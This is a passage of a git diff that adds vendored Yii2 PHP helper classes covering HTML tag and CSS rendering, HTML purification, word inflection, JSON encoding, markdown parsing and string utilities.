ArrayHelper::remove($tagOptions, 'encodeSpaces', false); + if (isset($tagOptions['prompt'])) { + $prompt = $encodeSpaces ? str_replace(' ', ' ', static::encode($tagOptions['prompt'])) : static::encode($tagOptions['prompt']); + $lines[] = static::tag('option', $prompt, ['value' => '']); + } + + $options = isset($tagOptions['options']) ? $tagOptions['options'] : []; + $groups = isset($tagOptions['groups']) ? $tagOptions['groups'] : []; + unset($tagOptions['prompt'], $tagOptions['options'], $tagOptions['groups']); + $options['encodeSpaces'] = ArrayHelper::getValue($options, 'encodeSpaces', $encodeSpaces); + + foreach ($items as $key => $value) { + if (is_array($value)) { + $groupAttrs = isset($groups[$key]) ? $groups[$key] : []; + $groupAttrs['label'] = $key; + $attrs = ['options' => $options, 'groups' => $groups, 'encodeSpaces' => $encodeSpaces]; + $content = static::renderSelectOptions($selection, $value, $attrs); + $lines[] = static::tag('optgroup', "\n" . $content . "\n", $groupAttrs); + } else { + $attrs = isset($options[$key]) ? $options[$key] : []; + $attrs['value'] = (string) $key; + $attrs['selected'] = $selection !== null && + (!is_array($selection) && !strcmp($key, $selection) + || is_array($selection) && in_array($key, $selection)); + $lines[] = static::tag('option', ($encodeSpaces ? str_replace(' ', ' ', static::encode($value)) : static::encode($value)), $attrs); + } + } + + return implode("\n", $lines); + } + + /** + * Renders the HTML tag attributes. + * + * Attributes whose values are of boolean type will be treated as + * [boolean attributes](http://www.w3.org/TR/html5/infrastructure.html#boolean-attributes). + * + * Attributes whose values are null will not be rendered. + * + * The values of attributes will be HTML-encoded using [[encode()]]. + * + * The "data" attribute is specially handled when it is receiving an array value. In this case, + * the array will be "expanded" and a list data attributes will be rendered. For example, + * if `'data' => ['id' => 1, 'name' => 'yii']`, then this will be rendered: + * `data-id="1" data-name="yii"`. + * Additionally `'data' => ['params' => ['id' => 1, 'name' => 'yii'], 'status' => 'ok']` will be rendered as: + * `data-params='{"id":1,"name":"yii"}' data-status="ok"`. + * + * @param array $attributes attributes to be rendered. The attribute values will be HTML-encoded using [[encode()]]. + * @return string the rendering result. If the attributes are not empty, they will be rendered + * into a string with a leading white space (so that it can be directly appended to the tag name + * in a tag. If there is no attribute, an empty string will be returned. + */ + public static function renderTagAttributes($attributes) + { + if (count($attributes) > 1) { + $sorted = []; + foreach (static::$attributeOrder as $name) { + if (isset($attributes[$name])) { + $sorted[$name] = $attributes[$name]; + } + } + $attributes = array_merge($sorted, $attributes); + } + + $html = ''; + foreach ($attributes as $name => $value) { + if (is_bool($value)) { + if ($value) { + $html .= " $name"; + } + } elseif (is_array($value) && $name === 'data') { + foreach ($value as $n => $v) { + if (is_array($v)) { + $html .= " $name-$n='" . Json::encode($v, JSON_HEX_APOS) . "'"; + } else { + $html .= " $name-$n=\"" . static::encode($v) . '"'; + } + } + } elseif ($value !== null) { + $html .= " $name=\"" . static::encode($value) . '"'; + } + } + + return $html; + } + + /** + * Adds a CSS class to the specified options. + * If the CSS class is already in the options, it will not be added again. + * @param array $options the options to be modified. + * @param string $class the CSS class to be added + */ + public static function addCssClass(&$options, $class) + { + if (isset($options['class'])) { + $classes = ' ' . $options['class'] . ' '; + if (strpos($classes, ' ' . $class . ' ') === false) { + $options['class'] .= ' ' . $class; + } + } else { + $options['class'] = $class; + } + } + + /** + * Removes a CSS class from the specified options. + * @param array $options the options to be modified. + * @param string $class the CSS class to be removed + */ + public static function removeCssClass(&$options, $class) + { + if (isset($options['class'])) { + $classes = array_unique(preg_split('/\s+/', $options['class'] . ' ' . $class, -1, PREG_SPLIT_NO_EMPTY)); + if (($index = array_search($class, $classes)) !== false) { + unset($classes[$index]); + } + if (empty($classes)) { + unset($options['class']); + } else { + $options['class'] = implode(' ', $classes); + } + } + } + + /** + * Adds the specified CSS style to the HTML options. + * + * If the options already contain a `style` element, the new style will be merged + * with the existing one. If a CSS property exists in both the new and the old styles, + * the old one may be overwritten if `$overwrite` is true. + * + * For example, + * + * ```php + * Html::addCssStyle($options, 'width: 100px; height: 200px'); + * ``` + * + * @param array $options the HTML options to be modified. + * @param string|array $style the new style string (e.g. `'width: 100px; height: 200px'`) or + * array (e.g. `['width' => '100px', 'height' => '200px']`). + * @param boolean $overwrite whether to overwrite existing CSS properties if the new style + * contain them too. + * @see removeCssStyle() + * @see cssStyleFromArray() + * @see cssStyleToArray() + */ + public static function addCssStyle(&$options, $style, $overwrite = true) + { + if (!empty($options['style'])) { + $oldStyle = static::cssStyleToArray($options['style']); + $newStyle = is_array($style) ? $style : static::cssStyleToArray($style); + if (!$overwrite) { + foreach ($newStyle as $property => $value) { + if (isset($oldStyle[$property])) { + unset($newStyle[$property]); + } + } + } + $style = array_merge($oldStyle, $newStyle); + } + $options['style'] = is_array($style) ? static::cssStyleFromArray($style) : $style; + } + + /** + * Removes the specified CSS style from the HTML options. + * + * For example, + * + * ```php + * Html::removeCssStyle($options, ['width', 'height']); + * ``` + * + * @param array $options the HTML options to be modified. + * @param string|array $properties the CSS properties to be removed. You may use a string + * if you are removing a single property. + * @see addCssStyle() + */ + public static function removeCssStyle(&$options, $properties) + { + if (!empty($options['style'])) { + $style = static::cssStyleToArray($options['style']); + foreach ((array) $properties as $property) { + unset($style[$property]); + } + $options['style'] = static::cssStyleFromArray($style); + } + } + + /** + * Converts a CSS style array into a string representation. + * + * For example, + * + * ```php + * print_r(Html::cssStyleFromArray(['width' => '100px', 'height' => '200px'])); + * // will display: 'width: 100px; height: 200px;' + * ``` + * + * @param array $style the CSS style array. The array keys are the CSS property names, + * and the array values are the corresponding CSS property values. + * @return string the CSS style string. If the CSS style is empty, a null will be returned. + */ + public static function cssStyleFromArray(array $style) + { + $result = ''; + foreach ($style as $name => $value) { + $result .= "$name: $value; "; + } + // return null if empty to avoid rendering the "style" attribute + return $result === '' ? null : rtrim($result); + } + + /** + * Converts a CSS style string into an array representation. + * + * The array keys are the CSS property names, and the array values + * are the corresponding CSS property values. + * + * For example, + * + * ```php + * print_r(Html::cssStyleToArray('width: 100px; height: 200px;')); + * // will display: ['width' => '100px', 'height' => '200px'] + * ``` + * + * @param string $style the CSS style string + * @return array the array representation of the CSS style + */ + public static function cssStyleToArray($style) + { + $result = []; + foreach (explode(';', $style) as $property) { + $property = explode(':', $property); + if (count($property) > 1) { + $result[trim($property[0])] = trim($property[1]); + } + } + return $result; + } + + /** + * Returns the real attribute name from the given attribute expression. + * + * An attribute expression is an attribute name prefixed and/or suffixed with array indexes. + * It is mainly used in tabular data input and/or input of array type. Below are some examples: + * + * - `[0]content` is used in tabular data input to represent the "content" attribute + * for the first model in tabular input; + * - `dates[0]` represents the first array element of the "dates" attribute; + * - `[0]dates[0]` represents the first array element of the "dates" attribute + * for the first model in tabular input. + * + * If `$attribute` has neither prefix nor suffix, it will be returned back without change. + * @param string $attribute the attribute name or expression + * @return string the attribute name without prefix and suffix. + * @throws InvalidParamException if the attribute name contains non-word characters. + */ + public static function getAttributeName($attribute) + { + if (preg_match('/(^|.*\])([\w\.]+)(\[.*|$)/', $attribute, $matches)) { + return $matches[2]; + } else { + throw new InvalidParamException('Attribute name must contain word characters only.'); + } + } + + /** + * Returns the value of the specified attribute name or expression. + * + * For an attribute expression like `[0]dates[0]`, this method will return the value of `$model->dates[0]`. + * See [[getAttributeName()]] for more details about attribute expression. + * + * If an attribute value is an instance of [[ActiveRecordInterface]] or an array of such instances, + * the primary value(s) of the AR instance(s) will be returned instead. + * + * @param Model $model the model object + * @param string $attribute the attribute name or expression + * @return string|array the corresponding attribute value + * @throws InvalidParamException if the attribute name contains non-word characters. + */ + public static function getAttributeValue($model, $attribute) + { + if (!preg_match('/(^|.*\])([\w\.]+)(\[.*|$)/', $attribute, $matches)) { + throw new InvalidParamException('Attribute name must contain word characters only.'); + } + $attribute = $matches[2]; + $value = $model->$attribute; + if ($matches[3] !== '') { + foreach (explode('][', trim($matches[3], '[]')) as $id) { + if ((is_array($value) || $value instanceof \ArrayAccess) && isset($value[$id])) { + $value = $value[$id]; + } else { + return null; + } + } + } + + // https://github.com/yiisoft/yii2/issues/1457 + if (is_array($value)) { + foreach ($value as $i => $v) { + if ($v instanceof ActiveRecordInterface) { + $v = $v->getPrimaryKey(false); + $value[$i] = is_array($v) ? json_encode($v) : $v; + } + } + } elseif ($value instanceof ActiveRecordInterface) { + $value = $value->getPrimaryKey(false); + + return is_array($value) ? json_encode($value) : $value; + } + + return $value; + } + + /** + * Generates an appropriate input name for the specified attribute name or expression. + * + * This method generates a name that can be used as the input name to collect user input + * for the specified attribute. The name is generated according to the [[Model::formName|form name]] + * of the model and the given attribute name. For example, if the form name of the `Post` model + * is `Post`, then the input name generated for the `content` attribute would be `Post[content]`. + * + * See [[getAttributeName()]] for explanation of attribute expression. + * + * @param Model $model the model object + * @param string $attribute the attribute name or expression + * @return string the generated input name + * @throws InvalidParamException if the attribute name contains non-word characters. + */ + public static function getInputName($model, $attribute) + { + $formName = $model->formName(); + if (!preg_match('/(^|.*\])([\w\.]+)(\[.*|$)/', $attribute, $matches)) { + throw new InvalidParamException('Attribute name must contain word characters only.'); + } + $prefix = $matches[1]; + $attribute = $matches[2]; + $suffix = $matches[3]; + if ($formName === '' && $prefix === '') { + return $attribute . $suffix; + } elseif ($formName !== '') { + return $formName . $prefix . "[$attribute]" . $suffix; + } else { + throw new InvalidParamException(get_class($model) . '::formName() cannot be empty for tabular inputs.'); + } + } + + /** + * Generates an appropriate input ID for the specified attribute name or expression. + * + * This method converts the result [[getInputName()]] into a valid input ID. + * For example, if [[getInputName()]] returns `Post[content]`, this method will return `post-content`. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for explanation of attribute expression. + * @return string the generated input ID + * @throws InvalidParamException if the attribute name contains non-word characters. + */ + public static function getInputId($model, $attribute) + { + $name = strtolower(static::getInputName($model, $attribute)); + return str_replace(['[]', '][', '[', ']', ' '], ['', '-', '-', '', '-'], $name); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseHtmlPurifier.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseHtmlPurifier.php new file mode 100644 index 00000000..30d8ead7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseHtmlPurifier.php @@ -0,0 +1,58 @@ + + * @since 2.0 + */ +class BaseHtmlPurifier +{ + /** + * Passes markup through HTMLPurifier making it safe to output to end user + * + * @param string $content The HTML content to purify + * @param array|\Closure|null $config The config to use for HtmlPurifier. + * If not specified or `null` the default config will be used. + * You can use an array or an anonymous function to provide configuration options: + * + * - An array will be passed to the `HTMLPurifier_Config::create()` method. + * - An anonymous function will be called after the config was created. + * The signature should be: `function($config)` where `$config` will be an + * instance of `HTMLPurifier_Config`. + * + * Here is a usage example of such a function: + * + * ~~~ + * // Allow the HTML5 data attribute `data-type` on `img` elements. + * $content = HtmlPurifier::process($content, function($config) { + * $config->getHTMLDefinition(true) + * ->addAttribute('img', 'data-type', 'Text'); + * }); + * ~~~ + * + * @return string the purified HTML content. + */ + public static function process($content, $config = null) + { + $configInstance = \HTMLPurifier_Config::create($config instanceof \Closure ? null : $config); + $configInstance->autoFinalize = false; + $purifier=\HTMLPurifier::instance($configInstance); + $purifier->config->set('Cache.SerializerPath', \Yii::$app->getRuntimePath()); + + if ($config instanceof \Closure) { + call_user_func($config, $configInstance); + } + + return $purifier->purify($content); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseInflector.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseInflector.php new file mode 100644 index 00000000..def691a5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseInflector.php @@ -0,0 +1,490 @@ + + * @author Alexander Makarov + * @since 2.0 + */ +class BaseInflector +{ + /** + * @var array the rules for converting a word into its plural form. + * The keys are the regular expressions and the values are the corresponding replacements. + */ + public static $plurals = [ + '/([nrlm]ese|deer|fish|sheep|measles|ois|pox|media)$/i' => '\1', + '/^(sea[- ]bass)$/i' => '\1', + '/(m)ove$/i' => '\1oves', + '/(f)oot$/i' => '\1eet', + '/(h)uman$/i' => '\1umans', + '/(s)tatus$/i' => '\1tatuses', + '/(s)taff$/i' => '\1taff', + '/(t)ooth$/i' => '\1eeth', + '/(quiz)$/i' => '\1zes', + '/^(ox)$/i' => '\1\2en', + '/([m|l])ouse$/i' => '\1ice', + '/(matr|vert|ind)(ix|ex)$/i' => '\1ices', + '/(x|ch|ss|sh)$/i' => '\1es', + '/([^aeiouy]|qu)y$/i' => '\1ies', + '/(hive)$/i' => '\1s', + '/(?:([^f])fe|([lr])f)$/i' => '\1\2ves', + '/sis$/i' => 'ses', + '/([ti])um$/i' => '\1a', + '/(p)erson$/i' => '\1eople', + '/(m)an$/i' => '\1en', + '/(c)hild$/i' => '\1hildren', + '/(buffal|tomat|potat|ech|her|vet)o$/i' => '\1oes', + '/(alumn|bacill|cact|foc|fung|nucle|radi|stimul|syllab|termin|vir)us$/i' => '\1i', + '/us$/i' => 'uses', + '/(alias)$/i' => '\1es', + '/(ax|cris|test)is$/i' => '\1es', + '/s$/' => 's', + '/^$/' => '', + '/$/' => 's', + ]; + /** + * @var array the rules for converting a word into its singular form. + * The keys are the regular expressions and the values are the corresponding replacements. + */ + public static $singulars = [ + '/([nrlm]ese|deer|fish|sheep|measles|ois|pox|media|ss)$/i' => '\1', + '/^(sea[- ]bass)$/i' => '\1', + '/(s)tatuses$/i' => '\1tatus', + '/(f)eet$/i' => '\1oot', + '/(t)eeth$/i' => '\1ooth', + '/^(.*)(menu)s$/i' => '\1\2', + '/(quiz)zes$/i' => '\\1', + '/(matr)ices$/i' => '\1ix', + '/(vert|ind)ices$/i' => '\1ex', + '/^(ox)en/i' => '\1', + '/(alias)(es)*$/i' => '\1', + '/(alumn|bacill|cact|foc|fung|nucle|radi|stimul|syllab|termin|viri?)i$/i' => '\1us', + '/([ftw]ax)es/i' => '\1', + '/(cris|ax|test)es$/i' => '\1is', + '/(shoe|slave)s$/i' => '\1', + '/(o)es$/i' => '\1', + '/ouses$/' => 'ouse', + '/([^a])uses$/' => '\1us', + '/([m|l])ice$/i' => '\1ouse', + '/(x|ch|ss|sh)es$/i' => '\1', + '/(m)ovies$/i' => '\1\2ovie', + '/(s)eries$/i' => '\1\2eries', + '/([^aeiouy]|qu)ies$/i' => '\1y', + '/([lr])ves$/i' => '\1f', + '/(tive)s$/i' => '\1', + '/(hive)s$/i' => '\1', + '/(drive)s$/i' => '\1', + '/([^fo])ves$/i' => '\1fe', + '/(^analy)ses$/i' => '\1sis', + '/(analy|diagno|^ba|(p)arenthe|(p)rogno|(s)ynop|(t)he)ses$/i' => '\1\2sis', + '/([ti])a$/i' => '\1um', + '/(p)eople$/i' => '\1\2erson', + '/(m)en$/i' => '\1an', + '/(c)hildren$/i' => '\1\2hild', + '/(n)ews$/i' => '\1\2ews', + '/eaus$/' => 'eau', + '/^(.*us)$/' => '\\1', + '/s$/i' => '', + ]; + /** + * @var array the special rules for converting a word between its plural form and singular form. + * The keys are the special words in singular form, and the values are the corresponding plural form. + */ + public static $specials = [ + 'atlas' => 'atlases', + 'beef' => 'beefs', + 'brother' => 'brothers', + 'cafe' => 'cafes', + 'child' => 'children', + 'cookie' => 'cookies', + 'corpus' => 'corpuses', + 'cow' => 'cows', + 'curve' => 'curves', + 'foe' => 'foes', + 'ganglion' => 'ganglions', + 'genie' => 'genies', + 'genus' => 'genera', + 'graffito' => 'graffiti', + 'hoof' => 'hoofs', + 'loaf' => 'loaves', + 'man' => 'men', + 'money' => 'monies', + 'mongoose' => 'mongooses', + 'move' => 'moves', + 'mythos' => 'mythoi', + 'niche' => 'niches', + 'numen' => 'numina', + 'occiput' => 'occiputs', + 'octopus' => 'octopuses', + 'opus' => 'opuses', + 'ox' => 'oxen', + 'penis' => 'penises', + 'sex' => 'sexes', + 'soliloquy' => 'soliloquies', + 'testis' => 'testes', + 'trilby' => 'trilbys', + 'turf' => 'turfs', + 'wave' => 'waves', + 'Amoyese' => 'Amoyese', + 'bison' => 'bison', + 'Borghese' => 'Borghese', + 'bream' => 'bream', + 'breeches' => 'breeches', + 'britches' => 'britches', + 'buffalo' => 'buffalo', + 'cantus' => 'cantus', + 'carp' => 'carp', + 'chassis' => 'chassis', + 'clippers' => 'clippers', + 'cod' => 'cod', + 'coitus' => 'coitus', + 'Congoese' => 'Congoese', + 'contretemps' => 'contretemps', + 'corps' => 'corps', + 'debris' => 'debris', + 'diabetes' => 'diabetes', + 'djinn' => 'djinn', + 'eland' => 'eland', + 'elk' => 'elk', + 'equipment' => 'equipment', + 'Faroese' => 'Faroese', + 'flounder' => 'flounder', + 'Foochowese' => 'Foochowese', + 'gallows' => 'gallows', + 'Genevese' => 'Genevese', + 'Genoese' => 'Genoese', + 'Gilbertese' => 'Gilbertese', + 'graffiti' => 'graffiti', + 'headquarters' => 'headquarters', + 'herpes' => 'herpes', + 'hijinks' => 'hijinks', + 'Hottentotese' => 'Hottentotese', + 'information' => 'information', + 'innings' => 'innings', + 'jackanapes' => 'jackanapes', + 'Kiplingese' => 'Kiplingese', + 'Kongoese' => 'Kongoese', + 'Lucchese' => 'Lucchese', + 'mackerel' => 'mackerel', + 'Maltese' => 'Maltese', + 'mews' => 'mews', + 'moose' => 'moose', + 'mumps' => 'mumps', + 'Nankingese' => 'Nankingese', + 'news' => 'news', + 'nexus' => 'nexus', + 'Niasese' => 'Niasese', + 'Pekingese' => 'Pekingese', + 'Piedmontese' => 'Piedmontese', + 'pincers' => 'pincers', + 'Pistoiese' => 'Pistoiese', + 'pliers' => 'pliers', + 'Portuguese' => 'Portuguese', + 'proceedings' => 'proceedings', + 'rabies' => 'rabies', + 'rice' => 'rice', + 'rhinoceros' => 'rhinoceros', + 'salmon' => 'salmon', + 'Sarawakese' => 'Sarawakese', + 'scissors' => 'scissors', + 'series' => 'series', + 'Shavese' => 'Shavese', + 'shears' => 'shears', + 'siemens' => 'siemens', + 'species' => 'species', + 'swine' => 'swine', + 'testes' => 'testes', + 'trousers' => 'trousers', + 'trout' => 'trout', + 'tuna' => 'tuna', + 'Vermontese' => 'Vermontese', + 'Wenchowese' => 'Wenchowese', + 'whiting' => 'whiting', + 'wildebeest' => 'wildebeest', + 'Yengeese' => 'Yengeese', + ]; + /** + * @var array fallback map for transliteration used by [[slug()]] when intl isn't available. + */ + public static $transliteration = [ + 'À' => 'A', 'Á' => 'A', 'Â' => 'A', 'Ã' => 'A', 'Ä' => 'A', 'Å' => 'A', 'Æ' => 'AE', 'Ç' => 'C', + 'È' => 'E', 'É' => 'E', 'Ê' => 'E', 'Ë' => 'E', 'Ì' => 'I', 'Í' => 'I', 'Î' => 'I', 'Ï' => 'I', + 'Ð' => 'D', 'Ñ' => 'N', 'Ò' => 'O', 'Ó' => 'O', 'Ô' => 'O', 'Õ' => 'O', 'Ö' => 'O', 'Ő' => 'O', + 'Ø' => 'O', 'Ù' => 'U', 'Ú' => 'U', 'Û' => 'U', 'Ü' => 'U', 'Ű' => 'U', 'Ý' => 'Y', 'Þ' => 'TH', + 'ß' => 'ss', + 'à' => 'a', 'á' => 'a', 'â' => 'a', 'ã' => 'a', 'ä' => 'a', 'å' => 'a', 'æ' => 'ae', 'ç' => 'c', + 'è' => 'e', 'é' => 'e', 'ê' => 'e', 'ë' => 'e', 'ì' => 'i', 'í' => 'i', 'î' => 'i', 'ï' => 'i', + 'ð' => 'd', 'ñ' => 'n', 'ò' => 'o', 'ó' => 'o', 'ô' => 'o', 'õ' => 'o', 'ö' => 'o', 'ő' => 'o', + 'ø' => 'o', 'ù' => 'u', 'ú' => 'u', 'û' => 'u', 'ü' => 'u', 'ű' => 'u', 'ý' => 'y', 'þ' => 'th', + 'ÿ' => 'y', + ]; + /** + * @var mixed Either a [[Transliterator]] or a string from which a [[Transliterator]] + * can be built for transliteration used by [[slug()]] when intl is available. + * @see http://php.net/manual/en/transliterator.transliterate.php + */ + public static $transliterator = 'Any-Latin; NFKD'; + + /** + * Converts a word to its plural form. + * Note that this is for English only! + * For example, 'apple' will become 'apples', and 'child' will become 'children'. + * @param string $word the word to be pluralized + * @return string the pluralized word + */ + public static function pluralize($word) + { + if (isset(static::$specials[$word])) { + return static::$specials[$word]; + } + foreach (static::$plurals as $rule => $replacement) { + if (preg_match($rule, $word)) { + return preg_replace($rule, $replacement, $word); + } + } + + return $word; + } + + /** + * Returns the singular of the $word + * @param string $word the english word to singularize + * @return string Singular noun. + */ + public static function singularize($word) + { + $result = array_search($word, static::$specials, true); + if ($result !== false) { + return $result; + } + foreach (static::$singulars as $rule => $replacement) { + if (preg_match($rule, $word)) { + return preg_replace($rule, $replacement, $word); + } + } + + return $word; + } + + /** + * Converts an underscored or CamelCase word into a English + * sentence. + * @param string $words + * @param boolean $ucAll whether to set all words to uppercase + * @return string + */ + public static function titleize($words, $ucAll = false) + { + $words = static::humanize(static::underscore($words), $ucAll); + + return $ucAll ? ucwords($words) : ucfirst($words); + } + + /** + * Returns given word as CamelCased + * Converts a word like "send_email" to "SendEmail". It + * will remove non alphanumeric character from the word, so + * "who's online" will be converted to "WhoSOnline" + * @see variablize() + * @param string $word the word to CamelCase + * @return string + */ + public static function camelize($word) + { + return str_replace(' ', '', ucwords(preg_replace('/[^A-Za-z0-9]+/', ' ', $word))); + } + + /** + * Converts a CamelCase name into space-separated words. + * For example, 'PostTag' will be converted to 'Post Tag'. + * @param string $name the string to be converted + * @param boolean $ucwords whether to capitalize the first letter in each word + * @return string the resulting words + */ + public static function camel2words($name, $ucwords = true) + { + $label = trim(strtolower(str_replace([ + '-', + '_', + '.' + ], ' ', preg_replace('/(? + * @since 2.0 + */ +class BaseJson +{ + /** + * Encodes the given value into a JSON string. + * The method enhances `json_encode()` by supporting JavaScript expressions. + * In particular, the method will not encode a JavaScript expression that is + * represented in terms of a [[JsExpression]] object. + * @param mixed $value the data to be encoded + * @param integer $options the encoding options. For more details please refer to + * . + * @return string the encoding result + */ + public static function encode($value, $options = 0) + { + $expressions = []; + $value = static::processData($value, $expressions, uniqid()); + $json = json_encode($value, $options); + + return empty($expressions) ? $json : strtr($json, $expressions); + } + + /** + * Decodes the given JSON string into a PHP data structure. + * @param string $json the JSON string to be decoded + * @param boolean $asArray whether to return objects in terms of associative arrays. + * @return mixed the PHP data + * @throws InvalidParamException if there is any decoding error + */ + public static function decode($json, $asArray = true) + { + if (is_array($json)) { + throw new InvalidParamException('Invalid JSON data.'); + } + $decode = json_decode((string) $json, $asArray); + switch (json_last_error()) { + case JSON_ERROR_NONE: + break; + case JSON_ERROR_DEPTH: + throw new InvalidParamException('The maximum stack depth has been exceeded.'); + case JSON_ERROR_CTRL_CHAR: + throw new InvalidParamException('Control character error, possibly incorrectly encoded.'); + case JSON_ERROR_SYNTAX: + throw new InvalidParamException('Syntax error.'); + case JSON_ERROR_STATE_MISMATCH: + throw new InvalidParamException('Invalid or malformed JSON.'); + case JSON_ERROR_UTF8: + throw new InvalidParamException('Malformed UTF-8 characters, possibly incorrectly encoded.'); + default: + throw new InvalidParamException('Unknown JSON decoding error.'); + } + + return $decode; + } + + /** + * Pre-processes the data before sending it to `json_encode()`. + * @param mixed $data the data to be processed + * @param array $expressions collection of JavaScript expressions + * @param string $expPrefix a prefix internally used to handle JS expressions + * @return mixed the processed data + */ + protected static function processData($data, &$expressions, $expPrefix) + { + if (is_object($data)) { + if ($data instanceof JsExpression) { + $token = "!{[$expPrefix=" . count($expressions) . ']}!'; + $expressions['"' . $token . '"'] = $data->expression; + + return $token; + } elseif ($data instanceof \JsonSerializable) { + $data = $data->jsonSerialize(); + } elseif ($data instanceof Arrayable) { + $data = $data->toArray(); + } else { + $result = []; + foreach ($data as $name => $value) { + $result[$name] = $value; + } + $data = $result; + } + + if ($data === []) { + return new \stdClass(); + } + } + + if (is_array($data)) { + foreach ($data as $key => $value) { + if (is_array($value) || is_object($value)) { + $data[$key] = static::processData($value, $expressions, $expPrefix); + } + } + } + + return $data; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseMarkdown.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseMarkdown.php new file mode 100644 index 00000000..6f3fa6c8 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseMarkdown.php @@ -0,0 +1,107 @@ + + * @since 2.0 + */ +class BaseMarkdown +{ + /** + * @var array a map of markdown flavor names to corresponding parser class configurations. + */ + public static $flavors = [ + 'original' => [ + 'class' => 'cebe\markdown\Markdown', + 'html5' => true, + ], + 'gfm' => [ + 'class' => 'cebe\markdown\GithubMarkdown', + 'html5' => true, + ], + 'gfm-comment' => [ + 'class' => 'cebe\markdown\GithubMarkdown', + 'html5' => true, + 'enableNewlines' => true, + ], + 'extra' => [ + 'class' => 'cebe\markdown\MarkdownExtra', + 'html5' => true, + ], + ]; + /** + * @var string the markdown flavor to use when none is specified explicitly. + * Defaults to `original`. + * @see $flavors + */ + public static $defaultFlavor = 'original'; + + + /** + * Converts markdown into HTML. + * + * @param string $markdown the markdown text to parse + * @param string $flavor the markdown flavor to use. See [[$flavors]] for available values. + * @return string the parsed HTML output + * @throws \yii\base\InvalidParamException when an undefined flavor is given. + */ + public static function process($markdown, $flavor = 'original') + { + $parser = static::getParser($flavor); + + return $parser->parse($markdown); + } + + /** + * Converts markdown into HTML but only parses inline elements. + * + * This can be useful for parsing small comments or description lines. + * + * @param string $markdown the markdown text to parse + * @param string $flavor the markdown flavor to use. See [[$flavors]] for available values. + * @return string the parsed HTML output + * @throws \yii\base\InvalidParamException when an undefined flavor is given. + */ + public static function processParagraph($markdown, $flavor = 'original') + { + $parser = static::getParser($flavor); + + return $parser->parseParagraph($markdown); + } + + /** + * @param string $flavor + * @return \cebe\markdown\Parser + * @throws \yii\base\InvalidParamException when an undefined flavor is given. + */ + protected static function getParser($flavor) + { + /* @var $parser \cebe\markdown\Markdown */ + if (!isset(static::$flavors[$flavor])) { + throw new InvalidParamException("Markdown flavor '$flavor' is not defined.'"); + } elseif (!is_object($config = static::$flavors[$flavor])) { + $parser = Yii::createObject($config); + if (is_array($config)) { + foreach ($config as $name => $value) { + $parser->{$name} = $value; + } + } + static::$flavors[$flavor] = $parser; + } + + return static::$flavors[$flavor]; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseStringHelper.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseStringHelper.php new file mode 100644 index 00000000..bc14a896 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseStringHelper.php @@ -0,0 +1,175 @@ + + * @author Alex Makarov + * @since 2.0 + */ +class BaseStringHelper +{ + /** + * Returns the number of bytes in the given string. + * This method ensures the string is treated as a byte array by using `mb_strlen()`. + * @param string $string the string being measured for length + * @return integer the number of bytes in the given string. + */ + public static function byteLength($string) + { + return mb_strlen($string, '8bit'); + } + + /** + * Returns the portion of string specified by the start and length parameters. + * This method ensures the string is treated as a byte array by using `mb_substr()`. + * @param string $string the input string. Must be one character or longer. + * @param integer $start the starting position + * @param integer $length the desired portion length. If not specified or `null`, there will be + * no limit on length i.e. the output will be until the end of the string. + * @return string the extracted part of string, or FALSE on failure or an empty string. + * @see http://www.php.net/manual/en/function.substr.php + */ + public static function byteSubstr($string, $start, $length = null) + { + return mb_substr($string, $start, $length === null ? mb_strlen($string, '8bit') : $length, '8bit'); + } + + /** + * Returns the trailing name component of a path. + * This method is similar to the php function `basename()` except that it will + * treat both \ and / as directory separators, independent of the operating system. + * This method was mainly created to work on php namespaces. When working with real + * file paths, php's `basename()` should work fine for you. + * Note: this method is not aware of the actual filesystem, or path components such as "..". + * + * @param string $path A path string. + * @param string $suffix If the name component ends in suffix this will also be cut off. + * @return string the trailing name component of the given path. + * @see http://www.php.net/manual/en/function.basename.php + */ + public static function basename($path, $suffix = '') + { + if (($len = mb_strlen($suffix)) > 0 && mb_substr($path, -$len) == $suffix) { + $path = mb_substr($path, 0, -$len); + } + $path = rtrim(str_replace('\\', '/', $path), '/\\'); + if (($pos = mb_strrpos($path, '/')) !== false) { + return mb_substr($path, $pos + 1); + } + + return $path; + } + + /** + * Returns parent directory's path. + * This method is similar to `dirname()` except that it will treat + * both \ and / as directory separators, independent of the operating system. + * + * @param string $path A path string. + * @return string the parent directory's path. + * @see http://www.php.net/manual/en/function.basename.php + */ + public static function dirname($path) + { + $pos = mb_strrpos(str_replace('\\', '/', $path), '/'); + if ($pos !== false) { + return mb_substr($path, 0, $pos); + } else { + return ''; + } + } + + /** + * Truncates a string to the number of characters specified. + * + * @param string $string The string to truncate. + * @param integer $length How many characters from original string to include into truncated string. + * @param string $suffix String to append to the end of truncated string. + * @param string $encoding The charset to use, defaults to charset currently used by application. + * @return string the truncated string. + */ + public static function truncate($string, $length, $suffix = '...', $encoding = null) + { + if (mb_strlen($string, $encoding ?: Yii::$app->charset) > $length) { + return trim(mb_substr($string, 0, $length, $encoding ?: Yii::$app->charset)) . $suffix; + } else { + return $string; + } + } + + /** + * Truncates a string to the number of words specified. + * + * @param string $string The string to truncate. + * @param integer $count How many words from original string to include into truncated string. + * @param string $suffix String to append to the end of truncated string. + * @return string the truncated string. + */ + public static function truncateWords($string, $count, $suffix = '...') + { + $words = preg_split('/(\s+)/u', trim($string), null, PREG_SPLIT_DELIM_CAPTURE); + if (count($words) / 2 > $count) { + return implode('', array_slice($words, 0, ($count * 2) - 1)) . $suffix; + } else { + return $string; + } + } + + /** + * Check if given string starts with specified substring. + * Binary and multibyte safe. + * + * @param string $string Input string + * @param string $with Part to search + * @param boolean $caseSensitive Case sensitive search. Default is true. + * @return boolean Returns true if first input starts with second input, false otherwise + */ + public static function startsWith($string, $with, $caseSensitive = true) + { + if (!$bytes = 